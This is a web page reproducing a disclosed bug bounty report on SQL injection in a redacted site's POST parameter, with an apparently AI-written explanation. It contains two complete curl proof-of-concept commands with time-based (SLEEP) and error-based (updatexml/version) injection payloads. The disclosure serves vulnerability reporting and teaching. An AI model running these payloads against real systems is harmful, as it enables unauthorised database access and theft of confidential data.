Skip to content
SQL injection Disclosed report Beginner

SQL Injection on https://████████/

The `███████` parameter in a POST request to a URL was not properly sanitised, allowing an attacker to inject SQL commands. The attacker could cause time delays and extract database information such as the MySQL version and current user.

cdl Follow

Originally disclosed on HackerOne

  • Triaged in 6 days
  • Fixed in 2 months
  • Disclosed after 5.0 years

Summary: https://████ is vulnerable to SQL Injection.

Description: The ███████ parameter in https://█████████/██████ does not properly sanitize input, thus allowing an attacker to execute SQL queries on the server!

Impact

This is a high impact vulnerability! I saw a list of tables which I'm guessing contain confidential information such as emails, usernames, passwords, etc! Attackers could likely leverage this to Remote Code Execution by finding admin credentials, then gaining unauthorized access to an admin panel!

Step-by-step Reproduction Instructions

Proof of Concept #1:

  1. Open up your terminal!
  2. Paste this command
curl -i -s -k  -X $'POST' \
    -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Referer: https://██████/██████████?█████████=K' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'_ga=GA1.2.2009424950.1494732845; PHPSESSID=35472be86b20b8a7f8c15737a8977f49' \
    --data-binary $'█████=K*\' OR SLEEP(10) AND \'aSgl\'=\'aSgl&sid=35472be86b20b8a7f8c15737a8977f49&emailid=███████&emailid2=█████████' \
    $'https://██████/████████'
  1. Now the server will sleep for 10 seconds and then respond!

Proof of Concept #2:

curl -i -s -k  -X $'POST' \
    -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Referer: https://██████/███████?█████=K' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'_ga=GA1.2.2009424950.1494732845; PHPSESSID=35472be86b20b8a7f8c15737a8977f49' \
    --data-binary $'█████=K*\' OR updatexml(null,concat(0x3a3a,version()),null) AND \'aSgl\'=\'aSgl&sid=35472be86b20b8a7f8c15737a8977f49&emailid=█████████&emailid2=██████████' \
    $'https://██████/███'

You will see: "<br><br>You have this list added to your current optionsXPATH syntax error: '::████'" which is the MySQL version!

information: Current User: ███████@localhost Databases: █████ Version: ███

Suggested Mitigation/Remediation Actions

Sanitize sanitize sanitize!!

Thanks as always ;) -Corben Douglas (@sxcurity)

The original report as published on HackerOne, by cdl. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application concatenates user input directly into SQL queries without parameterisation or proper escaping.

Impact

The attacker could read database tables that may hold confidential data, and could potentially use admin credentials to access an admin panel.

What the attacker needed

Network access to the target; a valid session cookie

The fix

The application should sanitise input to prevent SQL injection.

How it was found

  1. Open a terminal.
  2. Send a crafted POST request with a time-delay payload in the vulnerable parameter.
  3. Observe the server sleeping for 10 seconds before responding.
  4. Send a second POST request with an error-based payload to extract the database version.
  5. Read the version string from the error message.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when a website puts user input directly into a database command without cleaning it first. An attacker can type special characters that change the command, letting them read or change data. Here, the attacker made the database wait 10 seconds and show its version number.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by cdl

View all

14 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.